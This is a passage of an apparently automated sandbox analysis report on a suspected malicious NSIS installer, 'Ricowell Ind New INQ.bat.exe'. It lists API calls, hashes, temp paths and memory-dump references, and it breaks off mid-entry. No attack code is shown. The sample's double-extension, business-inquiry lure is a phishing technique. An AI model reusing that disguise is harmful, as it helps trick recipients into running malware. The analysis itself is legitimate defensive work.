DeleteObject.GDI32(00000000), ref: 00401D1B

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: feff7bd0ac8b8d98e410c971607266924d1cc5c353d4854e70ab97e8d29ee8d5
Instruction ID: 68903ef9478fc0d920f95a79cd5396482650d24808bb52901199de5d2149753e
Opcode Fuzzy Hash: feff7bd0ac8b8d98e410c971607266924d1cc5c353d4854e70ab97e8d29ee8d5
Instruction Fuzzy Hash: 06F062B2A05114BFD701DBA4EE88CAF77BCEB44301B008576F501F2091C7389D019B79

Function 00401D26 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D29
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D36
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D45
ReleaseDC.USER32(?,00000000), ref: 00401D56
CreateFontIndirectA.GDI32(0040A7D0), ref: 00401DA1

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 7af4cf4b66e980d364c2e3aa9c64882f60449cc7f52f10eab55021efc1d5f786
Instruction ID: b452d76144ce78c1ea2c31cbd89393ff29a213aa8dcca448cc35c7c7cb6754f7
Opcode Fuzzy Hash: 7af4cf4b66e980d364c2e3aa9c64882f60449cc7f52f10eab55021efc1d5f786
Instruction Fuzzy Hash: F8011271948340AFE701DBB0AE0EB9A7F74EB19705F108535F141B72E2C6B954159B2F

Function 00401BB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C18
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C30

Strings

!, xrefs: 00401BEC

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 223d8f7865d2b1dd0e95bc8f55079009c40be9e2a37a1be7db68750e4265ac19
Instruction ID: c8505a4ed1fbcfe48898eca751f608fe424cacc25c72cee6cab93c7adb8e4515
Opcode Fuzzy Hash: 223d8f7865d2b1dd0e95bc8f55079009c40be9e2a37a1be7db68750e4265ac19
Instruction Fuzzy Hash: 742190B1A44208BFEF41AFB4CD4AAAE7BB5EF40344F14453EF541B61D1D6B89A40E728

Function 00403A4C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,00422F00), ref: 00403AE4

Strings

1033, xrefs: 00403A50, 00403A5A, 00403ACB
Tosporet Setup: Installing, xrefs: 00403A4F
"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe", xrefs: 00403A4D

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"$1033$Tosporet Setup: Installing
API String ID: 530164218-3511889427
Opcode ID: c20953c35db1116ecdf277b9f7b3923fed37fef6e8e5c3a171d6f7dc7f85f207
Instruction ID: 694a286dd4981efc18ef326c294584d4bec2a1602357d8abc11fec8a6f834ca0
Opcode Fuzzy Hash: c20953c35db1116ecdf277b9f7b3923fed37fef6e8e5c3a171d6f7dc7f85f207
Instruction Fuzzy Hash: EC11D4B1B046109BCB24DF15DC809337BBDEB8471A329813BE941A73A1C73D9E029A98

Function 004057C6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403201,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 004057CC
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403201,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 004057D5
lstrcatA.KERNEL32(?,00409014), ref: 004057E6

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057C6

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-787714339
Opcode ID: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction ID: c144259923a6e848a034fe90771ae4f3275bad2fdba58d127270a3e6eafdfb33
Opcode Fuzzy Hash: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction Fuzzy Hash: 00D0A962606A306BD20222168C09E8F6A08CF06300B044033F204B62B2C63C0D418FFE

Function 00401EDC Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401EEB
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F09
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F22
VerQueryValueA.VERSION(?,00409014,?,?,?,?,?,00000000), ref: 00401F3B

Part of subcall function 00405C94: wsprintfA.USER32 ref: 00405CA1

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: ec7151e13ff031cd6146c14c1100c40685b360c9b493fb258c96d19e35a9089b
Instruction ID: 9791f4c70c1528f8983e13c97e2cb0ced061aec02aec85b9ff59acd402aedfa8
Opcode Fuzzy Hash: ec7151e13ff031cd6146c14c1100c40685b360c9b493fb258c96d19e35a9089b
Instruction Fuzzy Hash: A0117071901209BEDF01EFA5DD85DAEBBB9EF04344B20807AF505F61A1D7388E55DB28

Function 0040585F Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,?,004058CB,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,?,?,76FB2EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0,00000000), ref: 0040586D
CharNextA.USER32(00000000), ref: 00405872
CharNextA.USER32(00000000), ref: 00405886

Strings

C:\Users\user\AppData\Local\Temp\nsoFD66.tmp, xrefs: 00405860

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsoFD66.tmp
API String ID: 3213498283-3047601863
Opcode ID: 2ea991d7d7ffd85479a521eab3fc1e567f9f9a9fdda000af801139d1d19966a1
Instruction ID: 725a23b4e930c3b6c27a7d0cd0e333612dd42f6c53d199a680129a9385ae8045
Opcode Fuzzy Hash: 2ea991d7d7ffd85479a521eab3fc1e567f9f9a9fdda000af801139d1d19966a1
Instruction Fuzzy Hash: 74F06253914F516AFB3276645C44B7B5A8CCF56361F188477EE40A62C2C2BC4C618F9A

Function 00404F93 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404FC2
CallWindowProcA.USER32(?,?,?,?), ref: 00405013

Part of subcall function 00404038: SendMessageA.USER32(00010462,00000000,00000000,00000000), ref: 0040404A

Strings

, xrefs: 00404FA3

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: a1366604d20516d7a227b416e124a8c8ccbf6a8c92e3cea699473ae65b9a4b61
Instruction ID: 01da3f5901ddaf9404fa7d81b8fd4ad62d8e53e58d7af57a61279808ed2d7cb1
Opcode Fuzzy Hash: a1366604d20516d7a227b416e124a8c8ccbf6a8c92e3cea699473ae65b9a4b61
Instruction Fuzzy Hash: EA018F7110020DABDF209F11DC85E9F3B6AF784758F208037FA04752D1D77A8C92AAAE

Function 004058B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D36: lstrcpynA.KERNEL32(?,?,00000400,00403287,00422F00,NSIS Error), ref: 00405D43

Part of subcall function 0040585F: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,?,004058CB,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,?,?,76FB2EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0,00000000), ref: 0040586D
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405872
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405886

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,?,?,76FB2EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0,00000000), ref: 00405907
GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,?,?,76FB2EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0), ref: 00405917

Strings

C:\Users\user\AppData\Local\Temp\nsoFD66.tmp, xrefs: 004058BA, 004058BF, 004058C5, 00405900, 00405906, 0040590E, 00405916

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsoFD66.tmp
API String ID: 3248276644-3047601863
Opcode ID: 681a1499075d1ef18d3e94b36260b5cb5e6403957cf75bde6daaeed28ee23a5f
Instruction ID: cee4b60d78671bb78a10d3fddc0396ac835ea714c96625339261d657e7680c9f
Opcode Fuzzy Hash: 681a1499075d1ef18d3e94b36260b5cb5e6403957cf75bde6daaeed28ee23a5f
Instruction Fuzzy Hash: 0AF02823105D6026C63233391C09AAF1B95CE86368B24853FFC51B22D1DB3C8863DE7E

Function 004036F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,76FB2EE0,004036C9,76FB3410,004034D6,?), ref: 0040370C
GlobalFree.KERNEL32(00802CC8), ref: 00403713

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403704

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-787714339
Opcode ID: 86ea4e8f2e330b4051334ac2fa91e3adcb647da4565bec0431381526e270e322
Instruction ID: 0fe4964e98027e88380181352afc78dea88c0f551701ba437740c6db36bc47f5
Opcode Fuzzy Hash: 86ea4e8f2e330b4051334ac2fa91e3adcb647da4565bec0431381526e270e322
Instruction Fuzzy Hash: 0EE0EC7390512097C6215F96AD04B5ABB686B89B62F06842AED407B3A18B746C418BD9

Function 0040580D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CE5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,80000000,00000003), ref: 00405813
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CE5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,80000000,00000003), ref: 00405821

Strings

C:\Users\user\Desktop, xrefs: 0040580D

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3443045126
Opcode ID: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction ID: ba052d51ab232c33a65bcd29671eceb75c11827358d6bb1c4ef4a0a5cf44e1aa
Opcode Fuzzy Hash: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction Fuzzy Hash: 94D0A77341AD701EE30372109C04B8F6A48CF16300F098462E440B61A0C2780C414BED

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000000.00000002.790762790038.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.790762749933.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762821158.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762850216.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24

Function 0040592C Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040593C
lstrcmpiA.KERNEL32(00405B5B,00000000), ref: 00405954
CharNextA.USER32(00405B5B,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 00405965
lstrlenA.KERNEL32(00405B5B,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040596E

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0add82ed76356020c4ee8264c56a6ad6875436601f5ed096891bbb40787d2247
Instruction ID: 6acf3bc3cda9f3bfd2525b0ac34aa546eab038af588102683640af0afc927a81
Opcode Fuzzy Hash: 0add82ed76356020c4ee8264c56a6ad6875436601f5ed096891bbb40787d2247
Instruction Fuzzy Hash: 27F0C232604518FFC7129BA4DD40D9FBBA8EF06360B2500AAE800F7250D274EE019FAA

Analysis Process: Ricowell Ind New INQ.bat.exePID: 3468, Parent PID: 4544COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	1
Total number of Limit Nodes:	0

Executed Functions

Function 378C34E0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 378C34EA

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: afc0bc0a362d41371f7c96d937fb4f4026c31c0f2a7c4ae02004e1ec9b7a2185
Instruction ID: 193d70df6095773c525346ed2449e81d2d65b4d594e6fba80c2c6249ebcb57a4
Opcode Fuzzy Hash: afc0bc0a362d41371f7c96d937fb4f4026c31c0f2a7c4ae02004e1ec9b7a2185
Instruction Fuzzy Hash: 6390027160514412D50061584614706100547E0201F61CC56A0414569EC7A5895975A2

Function 378C2EB0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 378C2EBA

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0db831d3a992e27303a83775c1ba3a8378320a98f3b7cf0fb83a15845ea58506
Instruction ID: cb59d1b07f18cc5b3afb460da1778e6a7b7147e1290f3c4b975d2efee399fd0a
